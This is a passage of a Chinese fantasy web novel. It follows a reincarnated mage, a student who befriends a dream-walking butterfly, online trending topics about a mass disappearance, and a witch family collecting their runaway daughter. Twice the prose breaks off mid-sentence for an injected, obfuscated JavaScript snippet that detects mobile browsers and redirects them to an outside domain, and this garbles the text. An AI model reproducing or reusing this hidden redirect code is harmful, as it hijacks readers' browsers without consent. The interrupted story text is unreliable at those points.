她也不会有一些大师临死前摸到突破的契机,可碍于时间不够,抱着遗憾死去的经历。对她来说,若是一段人生不够她钻研难题,就将疑惑刻入灵魂,等待下一段人生苏醒后继续研究。 知识的记忆刻入灵魂,对知识的追求犹如沙漠中快要渴死的旅人。知识,对她来说最为重要,是她无论何时何地,投生于何种逆境都有翻身可能的底气,也是她无数人生中唯一能够清清楚楚记得的东西…… 魔法,魔药,炼金,以及星际时代的机械机甲高科技都有所涉及,科技方面还不太熟悉,但是她在魔法方面的造诣非常人可比。 至于其他的,譬如朋友,亲人,对手,曾经爱的,恨的,讨厌的,喜欢的,执着的,难忘的,都被时间的风沙磨蚀,成为看不清楚的,藏在玻璃后面的藏品,纱帘后的摆件,模糊不清,又如雾里看花。 她享受的永远是正在经历的当下,曾经的回忆,情感,随着曾经身体的消逝,也被掩藏了。若不是遇到相关的人或事,她很少想起从前。 若是事事都记得清楚,事事都难以放下,她早就被记忆逼疯了。那些浓烈鲜活的情感也会在她一次次品味下自我焚毁,烧尽,化成麻木的灰烬。 说她冷漠也好,没心没肺也罢,她只觉得,一段又一段的人生既是她,也不是她,曾经的自己连同记忆一切埋葬在了历史中,活下来的是全新的生命,是池危,而不是别的人。也因此,她切换马甲后不太愿意和从前认识的人相认。 每一段人生都是新鲜的,令人期待的,与众不同的,难以复刻的,她在一次又一次轮回中体验新的自己。 似是觉得阳光刺眼,布莱尔闭了下眼睛,复又睁开。 也许是昨晚的经历拨动了心弦,她久违地回顾了下往事。 不过,今天还有很多事要做呢,不能浪费时间在这里伤春悲秋了。 布莱尔离开主城,根据系统提供的地图,乘坐云鲸来到另一座城市。 路上当然也没闲着,无聊的时候,嗯,比如七长老讲幼崽级别的课程时,她会用精神力在脑海中模拟不同的草药矿石,以及演变出各种炼药炼金的工具来推演新的魔药配方和炼金方式,也会勾勒符文,推演新的魔法阵。 最近她就一直在研究如何将“归零”药剂中那几味绝迹的珍贵材料替换成星际时代发现的新材料,降低成本,试着增加“归零”的产量。 毕竟“归零”只有一瓶,她一向谨慎,而“归零”在不久之后有大用处,万一一瓶不够岂不是会在关键时刻拖了后腿? 云鲸飞得极快又稳,一个小时过去便横跨了半个星球,布莱尔才刚刚替换了第十种新材料,推演到了一半,就被悠远空灵的鲸鸣声打断了。 …… 龙族边境,祈梦星。 陈凌鸦已经被通知接她的人将会在几天后到达,让她不要着急,耐心等待。 陈凌鸦也确实没有着急,除了很担心失联的同学和老师,时常关注星网上的消息,搜寻有关维泽斯星失踪案的相关进度曝光,心理上比较担忧以外,她自己的处境倒是很好。 有碎星二号这位高手作伴,因为看她年幼又是人族而盯上她的外族都吃了亏,几天下来,随着一批又一批盯上陈凌鸦这个孤身一人的肥羊的团伙统统铩羽而归,其他人也终于意识到这是个会搁到牙的硬茬,只能不甘心地退去,等待下一个目标,暗地里注视的眼睛不约而同地消失了,只留下少部分。 所以,对陈凌鸦来说,这次跌入时空裂缝的意外甚至可以说是某种意义上的奇幻冒险,一段惊心动魄的旅程,有惊而无险,这几天经历之丰富之刺激让她曾经乏味、规律又安稳的生活被衬托得像是无滋无味的鸡肋,令一直被保护得很好的某人大开眼界,这些奇妙的经历好像是她曾经所幻想的故事。 她甚至在这几天认识了一位梦魇族的朋友——梦幻美丽的梦魇蝶。 它名为洛。 梦魇族即使在幻想种族中都是特殊的存在,与灵界生物有些相似,它们没有实体,于梦境中诞生,成长,破茧而出。 可以在生物的梦境中穿梭并影响梦境,它们准确来说是精神世界的生物,本体藏在它们最初所诞生的那个梦里,现实中的身体只是个投影,可以触碰,可以交流,但不可以被伤害。 唯有找到它们的本体才能真正攻击到它们。 梦魇一族很少与其他种族交流,也很少现身,行踪神秘,就连星网上的信息都很少,这次陈凌鸦与洛的相识算是个意外。 陈凌鸦当时只是像往日一样普通地做梦,唯一不同的是,那日梦境来了个不同寻常的客人。 陈凌鸦没意识到自己在做梦,她正拉着池危,溜溜达达地在校园里闲逛,一边吐槽指导老师的龟毛,一边蹦蹦跳跳地撒欢。 “唉,危危你是不知道,我那个老师啊什么小事都让她的学生做,好心疼小优学姐啊,老师看起来超级不靠谱,懒懒散散的样子,哪有药剂宗师的样子,要是我以后继续深造摊上这么个指导老师,我就,我就不活了!” 正拉着好朋友愉快地聊天,耳边传来敲门似的咚咚声。 要知道在陈凌鸦的梦境中,周围是熙熙攘攘的校园,一些看不清脸的同学走过,唯独每天放学和好朋友一起走的这条林荫小道是清晰的。 小道上怎么会传来敲门声呢? 陈凌鸦喃喃道:“什么声音——” 噼里啪啦—— 哗啦啦啦。 话还没说完,原本静谧美好的林间小道上布满一道道蜘蛛网一样密密麻麻的裂纹,整个梦境突然就像镜子一样碎裂了,碎片哗啦啦地掉落下来,化作粉尘消失,破碎的地方露出个大洞,洞口处钻出一只流光溢彩,忽隐忽现的大扑棱蛾子。 大扑棱蛾子还会说话,是一种醇厚且富有磁性的成熟女音,带着某种管弦乐混响。 它很有礼貌地说道:“您好,很抱歉以这种方式见面,可爱的小姐,不小心惊扰了您的梦境,请恕我无礼。” “啊?啊?!” 陈凌鸦目瞪口呆。 陈凌鸦大为震惊。 难道她是在做梦吗?不然这剧情怎么和她幻想的“少年鸦の奇幻冒险”的开头这么像啊! 好像一下子从青春校园变成奇幻频道了! 她看了一眼漂亮地不似活物的大扑棱蛾子,又看了一眼周围虚化碎裂的场景,和消失的好朋友,点点头。 嗯,是了,一定是她在做梦,梦都是这么没有逻辑的,那她该醒了。 醒过来就正常啦。 受到主人意愿的影响,梦境开始不稳,嗡嗡震动了几下,然后像是遭遇了特大地震,建筑不堪重负,如同被压扁的纸片,瞬间倾倒,倒塌的建筑像积木一样摔落到地上,接着被粉碎成了一片废墟。 现实中。 陈凌鸦猛地睁开眼,怔楞片刻,看看头顶的天花板,像是才反应过来似的深吸一口气,拍拍胸口,“真是睡蒙了,连梦和现实都分不清了,还以为真的有大扑棱蛾子呢。” 就在这时,一道声音戳破了她的幻想:“小姐,小姐?您还好吗? 吾名为洛,冒昧惊扰您,未经允许借用了您的梦境,洛在此深表歉意。” ??? 陈凌鸦吓了一跳,扭头看过去,一只不停变幻五彩之色,看起来虚虚实实,明明灭灭,十分梦幻,一看就不像现实造物的大蝴蝶漂浮在不远处。 “啊哈,我知道了,我一定还在梦里!” “没错,就是这样。”陈凌鸦干笑两声,面无表情地抓起被子试图钻进去,逃避现实。 碎星二号则突然现出身形,一只虚幻的鲸鱼飞到蝴蝶身边,用它的头碰了下对方的触角,用这种特殊的方式和大蝴蝶迅速交流一番,确认了对方的来意,又回来和陈凌鸦嘀嘀咕咕。 听到碎星带回来的消息,陈凌鸦表情不停变换,先是惊讶,震惊,疑惑,之后是恍然大悟,最后义愤填膺。 “什么,竟然有这种事!” 陈凌鸦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288788|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只手握拳,另一只手成掌,用力一拍,手掌将拳头牢牢握住。 她一边不动声色地观察大扑棱蛾子,确认双方实力,得到碎星没有威胁的回答后,脸上展开毫无心机的标准傻白甜笑容。 “女士,这种事实在是太恶劣了,任何人遇到都会义不容辞!您放心,我知道您是迫不得已才借用了我的梦境,我也不是什么不通情理之人,我绝对不会怪罪您的!” 大扑棱蛾子……哦不,现在应该叫梦魇蝶了,梦魇蝶挥动翅膀的频率微不可察地加快些许。 它的声音在脑海中响起,明显比之前轻柔很多,它再次表示了自己的歉意和对陈凌鸦的感谢。 按理说,因为意外遇见的一人一蝶互相寒暄过后应当礼貌告辞了,对陈凌鸦来说更是这样。 自己都流落外星,自顾不暇了,哪有心思卷入这场一看就不简单的祸事中? 事实也正是如此,陈凌鸦本来也打算结束交谈,分道扬镳了,可就在这时,碎星传来的几句话让她改变了主意。 陈凌鸦表情微顿,从惋惜自然地变为感同身受的同情和愤怒。 她隔着被子一巴掌拍向大腿,“太可恶了!竟然将梦魇一族都囚禁起来折磨,我们人族却没听到半点风声!如此行事,他们一定有不为人知的阴谋!” 其实主要是梦魇一族太过神秘,与其他种族少有交流,否则其他幻想种族肯定早就得到消息集结力量,救援梦魇一族,不会放过这种违反宇宙公约的行为。当然,高情商的陈凌鸦同学是不可能如实说的。 “简直是狼子野心,细思极恐,今天他悄无声息地抓了梦魇,是不是改天就要抓人族,抓精灵族,抓龙族了!” “此等行径人人得而诛之!我辈青年义不容辞!” 陈凌鸦本来有几分表演的成分,可说着说着她的心沉重起来,越想越觉得不对劲,最后真的开始想是不是真的向她说的那样各族都遭了祸患。 如果真的是这样,那这个组织就不仅仅是梦魇族一族的敌人,而是所有种族共同的仇敌了,对方很显然所图甚大啊,若不及时处理,谁知道以后能酿出什么祸事来。 可惜她才刚毕业,家里人都把她当小孩看,将她保护得太好,她又志不在此,宁愿和池危待在一起过普普通通的日子,一直没有表现出接触家族事务的意图,上头有舅舅和妈妈担着,暂时轮不到她这个小辈操心,所以就算有什么消息情报也不会主动告诉她。 看来等她回去后是该好好利用家里的情报网络了,再也不能像以前那样无知无觉,像个什么都不懂的傻子一样。 现在情况不同,从前幼稚地以为只要一直不接触家族的隐秘,就可以做一个普通人,和池危一起上学,深造,工作,而不是陷入家族与各方势力的博弈、厮杀、攫取利益。 没想到只是短短几天,一切都变了,池危变了,世界变了,好像处处是阴谋,她好像要被池危远远甩在身后,永远不能了解她在做什么,也帮不上忙,无法与她像从前一样共同面对、并肩作战。 这是她绝对无法接受的,她不甘心啊。 所以,她必须要丢掉自己的胆怯和幼稚,接手家族。 这样,虽然不知道危危要做什么,起码她有需要的时候,她能提供些许帮助,而不是只能被她护在羽翼底下,茫然地望着她远去的背影…… 她再也不想经历一次了…… 陈凌鸦深吸一口气,再次开口语气沉稳不少,表情也更加真挚。 “女士,可否详细说说那伙贼人的犯罪细节?等我家族的人到了可以帮忙调查,也许能为您提供些许帮助。” 洛扇了扇翅膀。 梦魇一族身为精神生物,对于其他生物的内心变化极为敏感,它能感受到眼前的人类女孩一开始的抗拒,警惕突然转变为后来的好奇,最后则真的带了几分真心。 它也不深究,它一向奉行只看结果不看过程,论迹不论心,它只要知道这个人类最后确实是想了解真相就够了。 只要敌人一致,她们就是盟友。 于是洛扑闪着虚幻的彩色翅膀,伴随着光点星星点点地落下,它将自己从发现族人失踪,到奉命调查,再到落入陷阱,最后侥幸逃脱的所有细节和盘托出。 19.星网讨论 星网。 一个热搜噌噌噌从底部像坐了飞艇似的往上窜,很快就超越了排名第七的综艺宣发。 原第七现第八的综艺宣发标题是“各族明星集合!‘涅瑞斯的明珠’‘月亮之子’卢奈尔公开承认参与‘不同又相同的我们’! 这档综艺将与明星一起走进各族,了解各族独特的文化风俗。 更有人族明星蓝越鸣,智械族莫奇等顶流加盟!作为首个邀请到多个幻想种族共同参与的综艺,他/她/它们又将碰撞出怎么样的火花呢?” 这个热搜已经在星网上挂了很久,刚爆出来时甚至一度窜到前三,闹得轰轰烈烈,沸沸扬扬,堪称是一场粉丝狂欢的盛宴。 只是时间一久,武德充沛的星际人民也过了那股新鲜劲,网民们忘性大,每天发生的大事也不少,大多数网民更在意灵能,魔法有关的消息。 宁愿关注科技院和炼金术士协会有什么新产品,xx药剂有没有降价,宗师的具体行程,冒险者公会的亮眼新人,以及强者分享的修炼心得。 或者更喜欢新发行的全息游戏、文学作品、音乐、八卦……有意思的事情太多了。 总有人不关心明星,综艺,只是看个新鲜,看个热闹,而且娱乐领域的新鲜八卦数不胜数,让人目不暇接,如果是路人,估计这种还没影的综艺看过就忘。 只有粉丝念念不忘,为了他们喜欢的明星联动而热烈讨论,顶起一个又一个词条,网民们则渐渐不怎么关注,这条热搜也就一路从前三下滑。 然后大家眼见着这条势头极猛热搜超过了第七继续往上窜,第六,第五,最后停在第四。 这就令偶然看到的网友惊讶了,这条不知名的热搜竟然超过了第五。 第五也是热搜上的常胜将军,十几年来,各类劲爆新闻上上下下,唯有它屹立不倒,稳坐第五。 它的标题为“那些年,永不褪色的回忆。” 这条热搜一开始是各个种族自发怀念各自历史上惊心动魄的事件和难以忘怀的伟大人物的讨论帖。 当然这些在本族的知名大佬即使是外族在学习星际史和各族简史时也有所耳闻,比如某人族勇者,某龙族暴君,某精灵族大长老,某海妖族族长一家,某智械领袖,某恶魔大公,某炼金术士…… 一开始还好,各族圈地自萌,讲讲自己崇拜的强者,后面就有人附议再讲讲自家大佬,只是之后讨论的人多了,人多口杂,是非也多,意见不合,情绪激动之下就容易吵架,开始争论哪件事更伟大最具有里程碑意义,哪个人更惊艳更令人惋惜,谁比谁厉害,谁和谁是对家,你粉了她就不能粉他,人家就不服气说凭什么不可以,它博爱不行吗? 还有谁和谁又是一对谁又是插足者这类最容易吵起来的八卦绯闻。 这样吵啊吵的热度就上来了。 除了这一批激情争论的网民,还有一批岁月静好的旁观者,他们海纳百川,来者不拒,哪个都喜欢,不争论哪个更好,平等地给自己喜欢的大佬写小作文。 写着写着就开始二创,各种同人文满天飞,喜欢谁就给谁组cp,各种高质量同人文层出不穷,同人文多了又开始争吵谁最权威……为此这条帖子热度一直不降,每隔一段时间总有精品文章产出,甚至作者竟然靠着写同人文在道途上更进一步,对规则有了更多体悟,一举突破传奇,因为这类奇事既使是在眼花缭乱的星网中都堪称罕见,于是第五热搜从此奠定了它难以复刻的夯实基础。 说完了第五,来看看超过这等权威热搜的新闻有何等含金量。 这条热搜最终来到第四名,等了半天也不动。 排名第一的依旧是“新一届寰宇议会开启时间已定,请各族首领做好准备。”金光闪闪的大字置顶,十分醒目,一眼就能看见。 第一名永远是寰宇议会相关的消息,因为寰宇议会是全星际所有种族共同的大事,不是八卦和热度所能衡量的。 每三百年就召开一次,每个种族派出代表人参与会议,共同商讨宇宙公约的制定,很少有人知道寰宇议会,宇宙公约是如何出现,如何存续的,但毋庸置疑,宇宙公约对所有参会种族都有极强的掌控力。钻空子,钻漏洞,耍小聪明这在公约上是绝对没用的,公约自有自己的判定标准。 比如宇宙公约规定,无论各族如何争斗,如何掠夺资源,如何耍阴招,它不管,只要不出现灭族的和恶意毁灭弱小文明的极端行为就可以,但无论如何都不可以伤害幼崽。 这个伤害的判定很严苛,鞭打虐待是伤害,囚禁起来不给食水也是伤害,精神折磨更是伤害,只要对幼崽有恶意就算,被监测到后就会给予惩罚——对幼崽的折磨会同样出现在虐待者的身上。 监测机制难以预测,曾有试图钻漏洞的恶魔圈养了一群尝起来格外美味的塔塔族幼崽,没有虐待,宰杀时也是伪装成意外身亡,结果最后不知道怎么被检测到,那个恶魔也有幸体会了同样的死法。 但公约也也有不足之处——宇宙公约监测不到的地方便是无效。 总而言之,宇宙公约的效力极其可怕,除非一辈子躲在虚空和灵界之类的地方,一旦回归主世界便会接受延迟的惩罚,所以宇宙公约的制定也就相当于规则的制定,是全星际的头等大事。 话说回来,能在一众热搜占据一席之地,也说明了这条新闻的重要性。 这条突兀的热搜便是“利亚姆学院被毁,黎明帝国大批民众失踪,至今未寻回!” 下面的评论就热闹很多了。 本来呢,利亚姆学院不算顶级学府,和帝国学院,第一灵能学院等数一数二的学校热度是比不了的,能把它推到第四的原因值得深思。 这条新闻一开始并不起眼,但看到的人几乎都会留下一条评论,表示自己周围也有失踪,为失踪者祈祷,希望能平安归来。 结果发现,黎明帝国近几年陆陆续续都有少量人员失踪至今未寻回,虽然每次失踪的人很少,但次数多啊,零零散散累计起来也是一个惊人的数字。直到利亚姆事件爆发,一大批学生老师失踪,其中不乏世家权贵子弟,失踪者的家族发现后立即向帝国行政机构和陛下施压要求调查,这才引起重视。 这可不得了,如同向热油锅里倒了一杯水,帝国民众炸开了锅。 将热度推向顶峰的是一位路人的发言。 “据说,风家有个小辈就在利亚姆学院失踪,风家找人都快找疯了!” 下面有网友回复:“哪个风家?是我想得那个吗!” “还能是哪个,就是那个魔女家族啊!据说她家小辈叛逆,不乐意待在家族,跑到利亚姆学院当老师了。 但风家的风气还蛮开放的,一直默许,后来也和她有联系,最近联系不上了,家里那个着急啊,动用了血缘占卜,得到一点消息,知道虽然距离遥远,但很安全,这才放心。” 这时候其他人发现不对劲了,这个路人怎么知道得这么清楚!不是瞎编的就是内部人员,纷纷在下面追问他是不是风家的人。 而路人深藏功与名,不再回复,任由事态发酵升级,默默放下了终端。 这个知道很多的路人正是风家的小辈——风鹿。 他恰巧与风龄是同辈,差不多是表姐弟的关系吧,只不过他是男孩,继承的魔力天赋不够强,不太受重视,但家里人都对他很好,家族强盛兴旺也不屑联姻,他就留在家族中被分配了一份简单的工作。 他确实算内部人员,起码关于风龄那事确实知道得清清楚楚。 风鹿对这位表姐印象很深刻。 风家怪人多,可风龄在怪人中都别具一格。 风家是众所周知的魔女家族,魔女具体代表什么却很少有人知道。 有时候风鹿都觉得魔女不太像人族,更像那些幻想种族,甚至是神话生物。 寿命悠久,天赋卓绝,魔力充沛,身体素质极强。 甚至连繁衍的方式都不太像人,魔女之间可以用魔力本源互相温养,孵化魔力光团,最后成了新一代的魔女。 只是这种方法会损伤魔女的根基,只有快要死了的,没希望突破的老前辈才会这么做。 更多的是正常的繁衍方式,但步入星际时代后,科技发达,繁衍不像以前那么困难,风险大,魔女只需要将自己的基因与基因库中挑选的优质基因结合,放入孵化舱中便可以得到自己的后代了。 这种繁衍方式诞生的孩子有女有男,男性无法继承魔女的力量,只能做个天赋不错,寿命较长的普通人。 而女孩子的天赋也参差不齐,天赋好的就是中了基因彩票,概率不高,比不上前一种方法有极大可能诞生天赋极佳的魔女。 再说风龄,她便是由自己的母亲意外与另一人温养孵化的魔力胚胎。 另一人的身份族中讳莫如深,据说不是魔女,是一名人族,风龄的母亲风里那时与另一人落入险境,风里觉得自己没有可能生还,为了活下来,身体损耗了很多,天赋也透支了,想要留下个属于自己的孩子,如果能诞生就是一种奇迹,也是一种希望,自己是活不成了,说不定孩子呢能撑到家族救援的时候。 风里抱着这种死马当活马医的心情与另一人商量用魔力之源孕育个孩子试试看。 另一人与风里也是第一次见面,只是恰巧倒霉到一块儿,她当时也不抱什么生还的希望,孩子对她而言太过遥远,没有实感,自己能不能活着都不知道,还不如趁 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风龄眼泪汪汪,捂着头,不敢再装,委屈地说:“妈,我要离开家自己去闯荡。” “风家已经没有人能教我了,和我一样大的都太笨了,才成为中等药剂师,老师也只是和我一样是宗师,老师已经把他的东西都交给我了,我想离开家,去看看外面的世界。” “去看看别的地方,别的人独特的手法,去找找我没看过的矿石和药草!” 迎着风龄亮晶晶的,渴望的眼神,母亲和姥姥舅舅们都沉默了。 她们没有说到了外面赚钱很难,珍贵的材料凭一人之力得到难如登天;没有说她年纪轻轻已经摸到了药剂学顶端的位置,时间还很长,没有必要这么着急;也没有说外面危险,她才刚成年,再天才也缺少沉淀,才是个精英级的小卡拉米,星海中高手重重,她谁也打不过,一不小心就挂了。 还有很多,但是看着小风龄充满活力的表情,她们实在不忍心用那些成年人并不精彩的枯燥世界浇灭属于一个孩子的梦。 反正,等到了外面,她自己可以慢慢感受,慢慢成长,而不是被成年人自以为是地强硬否决掉。 总之,最后还是她亲妈一锤定音,“那就让风龄提前开始历练吧。”她转头望着风龄,神情严肃,不容反驳,一看就很正经。 “若你执意如此,从你踏出家门的那一刻,生死不论,只能自己赚钱,一切靠自己,不能再随意取用家族的资源,家族也不会提供帮助,直到历练结束,回归家族的那一刻。” “如此这般,你能做到吗?” 周围的姐姐姨姨,舅舅哥哥们纷纷露出欲言又止的眼神,可惜这些都被心愿达成,自觉人生已到达顶峰,快活地不知天地为何物的小风龄给忽略了。 中二青年受不得这激将法,甚至都没讨价还价,当即打了鸡血似的,扯着嗓子都快破音地答道:“能!!!!!” …… “所以,老师,你就这么离开了?”小优推了推眼镜。 风龄死猪一般瘫在沙发上,有气无力地回答:“嗯——” 经过这么多年在星海中摸爬滚打,早已把小年轻的远大志向给忘了,这件事说起来都得抹一把辛酸泪。 她那个后悔啊,放着自己神秘家族大小姐的生活不过,非要靠自己,证明自己不依靠家族也能活得轰轰烈烈,潇潇洒洒,没苦硬吃啊! 结果她确实被毒打得轰轰烈烈了。 也是后来她才被姨姨舅舅们透露,其实他们风家根本就没有什么出去历练的习俗,小孩子长大了可以自主选择是否历练。 而且,也根本没有不能动用家族资源的规定…… 所以,只有她,傻乎乎地信了,还感动得眼泪汪汪,觉得家人这么信赖她,她不能辜负家人的期望!走之前只把私库打包带走,没拿点妈咪舅舅姐姐哥哥姥姥的的私房钱。 风龄恨恨地回忆,她当时抹了一把脸,把实验室所有珍贵的材料一扫而空,还有各种书籍食物营养液衣服武器装备防护服,和自己的小型飞行艇,通通装走! 连路过的玄晶鹦鹉都被她薅了一撮毛。 看似拿了很多,其实只有自己的份额。 然后自以为悄无声息,实则鬼鬼祟祟地在长辈们的眼皮子底下溜走了。 不过离开之后她十分遵守历练要求,到别的星系流浪,她甚至特意避开了家族直接掌控的十几颗星球! 风龄感动地想,虽然她没钱了会去风家的店里打秋风,吃霸王餐,薅羊毛,惹得风家差点没把她拉黑,但她还是妈咪最爱的乖宝宝,家族里最可爱,最有才华的小魔女啊! 20.风家来人 就在风龄一边葛优瘫回忆往昔,一边无所事事时,终端亮了。 她立刻选择投射光屏,点击接通,接通后,精灵长官的影像投到眼前,长官冷漠地说:“接到通知,你们的身份已经查清楚,可以离开了。” 小优没有什么动静,但风龄直接蹦了起来。 “什么什么,我没听错吧?最最最公正无私的瑟兰长官居然说我们可以离开了?” 瑟兰长官面色一点点僵硬,风龄却还没准备停下,“唉,当初是谁说,不管谁来为你们求情都绝不可能让可疑人员脱离视线的?嗯?” “还有,您当初答应帮我联系长老,结果最后晾了我多久您心里没点数吗?” 风龄一脸幽怨,她当初得到瑟兰的承诺就满心期待地等待,从天亮等到天黑,别说同意了,愣是一个回复都没有,她忍不住拨打通讯,却被告知“您已被拉入黑名单,请稍后再试。” 瑟兰显然也想起了这件事,目光闪烁两下,望着风龄小人得志的嘴脸,假装没听见自己做的缺德事,略过她的第二句,状若无事地回道:“是啊,确实不行。” 这次轮到风龄僵住了,“啊?啊?!” “你们可以离开这里自由活动,但不可以离开主星,我们也会派精灵在旁边关注你们。” 言下之意便是,有精灵看着不要想着偷偷离开,只要不离开主星,就算自由活动。 风龄再不复之前的洋洋得意,整个人都蔫了,有气无力地哦了一声。 但自己脱困也不能忘了学生,她很有责任感地问了一句:“那和我一起来的其他人呢,也可以出去吗?” 得到不能的回答后风龄也不多问,继续怏怏不乐,塑料师生情谊可见一斑。 但噩耗还在后头,只听长官继续解释,“一般情况下确实不能放你们走,但这次是你们人族的皇帝向长老担保,外加风家来人协商,长老才同意的。” 风家!都八百年没见了,风龄想起自己曾经干的那些缺德事就两眼一黑,恨不得晕过去,不想面对现实。 刚刚还在回忆往昔,她心里酸酸色色还挺想家的,记忆里的家人确实美好又值得回味,但真要见面她第一个逃跑。 一想想自己这么多年没回去一开始确实是憋着一口气,要闯出点成绩才能回去炫耀,向亲爱的家人们炫耀自己的能力,后来年纪成长了,不太在乎那点少年人脆弱的自尊心,后来不回去的原因嘛——纯粹是怕被家里人算账啊! “对了。”长官贴心地补充了一句,温柔地朝风龄的胸口扎下最后一刀,“风家来的人,好像叫——风里。” 说完这句,长官好整以暇地欣赏二人的反应。 “老师,老师你怎么了。” 小优淡定地扶住了亲爱的老师瘫软的身体。 “别管我,小优,我要死了,你以后一个人好好活着,不要为我伤心。” “是吗?”小优微微一笑,“那老师您的星网支付密码多少,保险箱藏在哪,怎么开啊。” 风龄怒而诈尸,骂骂咧咧教训了一通,中间突然想起自己的人设,娇弱捧心状,做作地转变了语调继续演戏。 瑟兰长官看到了自己想看的画面,被二人,主要是某龄气了很多天的胸口终于舒畅了。 她满意地吩咐手下,一分钟就把两人扔出去,任她们自生自灭。 之后瑟兰转过头,和风家来人接洽,“怎么样,女士,看到了吧,你家的小崽子精神好着呢,特别能折腾,我们精灵族可没亏待她们,马上就可以领走。” “不过麻烦您这段时间待在主星,特殊时期,禁止外人进出,今天破例让您进来已经是看在风家的面子上了。” 风里也很通情达理,立即表示没关系,十分感谢精灵族的通融,她这段时间一定好好待在精灵族看着崽子们不惹事。 回头让其余探着头偷偷左顾右盼风家人离开,飞艇缓缓闭合,风里在护卫队的陪同下从政务厅离开,向看守所行进。 一路上精灵频频回头,面露惊讶,不时窃窃私语,讨论这难得一见的陌生人。 风女士是一位天赋极高的魔女,有着暗紫色的大波浪卷发和黑色眼眸,皮肤是健康的深色,肌肉线条明显,身材健美,身形流畅,身着修身的棕色作战服,有种狂野不羁的气质。 当这样一位女士出现在二人组面前时,小优稍稍惊讶,因为在风里面前,风龄就像一个不健康的小鸡仔,无论是肤色,体型还是气质。 从外形上来看,很难看出这两人是亲母女。 风女士一只手就揪住了风龄命运的后脖颈,风龄不复之前的散漫,像只被水打湿的鸡,谄笑道:“妈,好巧,你也来啦,怎么也不说一声,早说我就让瑟兰好好招待你,尽尽地主之谊了。” 瑟兰暗暗翻了个白眼。 瞧瞧,这话说的多大度,好像她不是阶下囚而是精灵族的主人翁,而瑟兰则是她的手下一样。 幸好风里没有理她这套,还怼了她一句:“哦,就你,还招待?” “你能被放出来都是你妈我和风家长辈们的功劳,看来小铃铛这么多年不见,脸皮越发厚了。我可还记得,当初分店向我告状的时候哭得很大声呢。” 风里话里话外都在暗示她洗干净脖子等着算账,风龄自知这次真的躲不掉,识时务者为俊杰,登时就住了嘴,希望自己的乖巧能让风女士清算时能手下留情。 于是风龄讷讷无言,没了动静。 见这祖宗不闹,乖得跟什么似的,瑟兰迅速瞥了眼风龄圆润黝黑的脑壳,顿时对风里好感大增,一股敬佩油然而生。 风龄这人惯会蹬鼻子上脸,被关起来也没有半点犯人的自觉,倒像是来度假的,悠哉悠哉。 还对她这个长官嬉皮笑脸,问东答西,胡言乱语,什么也问不出来还理直气壮地各种提要求。 如今这副被扼住了命门的乖巧模样真是让精灵心中舒爽啊。 风里是个体面人,不打算在公开场合落自家小孩面子,笑眯眯地表示回去关起门来再跟她算账。 一旁的瑟兰长官和身旁的副官对视一眼,对不能亲眼目睹风龄的惨状深表遗憾。 “那么,几位女士,既然人已经见到,我们就告辞了,各位可以自便。” 完成长老吩咐的工作,瑟兰长官带着几位下属准备离开,像是想到什么似的,又说了一句,“对了,十日后是精灵族的诞礼,各位感兴趣的话可以参加。” 望着精灵们远去的背影,风龄眼泪汪汪,咬着小手绢,内心在不停呐喊:别走啊!长官们,要走带我一起走,别留下我一个人啊! 她偷瞄了下亲爱的母亲,两双相似又不同的暗色紫眸对上,一双忐忑不安,一双暗流涌动。 风龄心里咯噔一声,暗道完蛋,看来这次不是撒个娇服个软就能过去的,她亲妈估计是从她离家出走一直不联系家里的时候就在记账了。 她悄悄看向小优,眼里写满了:救救救救!你家导师要没命了。 小优摆摆手,露出个爱莫能助的眼神,扶扶眼镜,避开了她的求助,身体力行地向风女士看齐。 风龄试图反抗。 反抗无效。 风龄试图耍赖。 风龄心如死灰地被拖走了。 …… 神殿。 精灵族所有长老和最高负责人员都聚集于此,围坐在一张洁白的圆桌前,只有为首的精灵站着。 为首的便是刚刚出关的大长老——梅洛。 银发碧眸,眼眸轻阖。 此时的气氛异常沉闷,其余长老头也不抬,神情肃穆,身体紧绷,等待大长老的训话。 只见梅洛重重拍了下桌子,弯下腰,双手直直地撑住桌子,像是绷紧的弓弦,面无表情。 她看了看这些或是熟悉,或是陌生的面孔,目光在某个蓝毛和黄毛的头顶停顿片刻,黄毛精灵还趁周围精灵不敢抬头,做贼似的,偷偷冲她眨了眨眼,又迅速垂下头,梅洛若无其事地移开了目光。 刚出关时的怒火熄灭,取而代之的是时过境迁,故人不再的悲凉,和一丝丝前途渺茫的惆怅。 梅洛数了一下,二十几位精灵中,熟悉的面孔只占一半,这一半中只有三分之一是闭关前的熟人,也就是三位,剩下不熟悉的都是她闭关这些年刚长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308609|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的精灵崽子。 从前的故人已经一点一点抹去了自己痕迹,时间是最无情的力量,无人可以摆脱,就连她也不可以,别说她做过什么,恐怕这些新生的小崽子连她是谁都不认识吧。 罢了,事已至此,再追究责任已经无济于事了,现在重要的解决目前的问题。 其余精灵正被良久的沉默和悬在头顶,不知何时落下的铡刀压迫地心跳加速,这时,梅洛终于出声了。 压抑的气氛一扫而空,她再次直起身,右手敲敲桌面,说道:“现在的精灵族应该对我很不熟悉,自我介绍一下,我是梅洛,精灵族的大长老。之前一直闭关,对现今的事不太了解。” 她环视一圈,点道:“米斯卡,你来告诉我,现在精灵族到底是什么情况,精灵母树的情况为何这么糟糕!” 梅洛刚出关就去精灵母树那查看,结果令她大为吃惊,之前就感应到母树的情况不好,但没想到情况糟糕成这样。 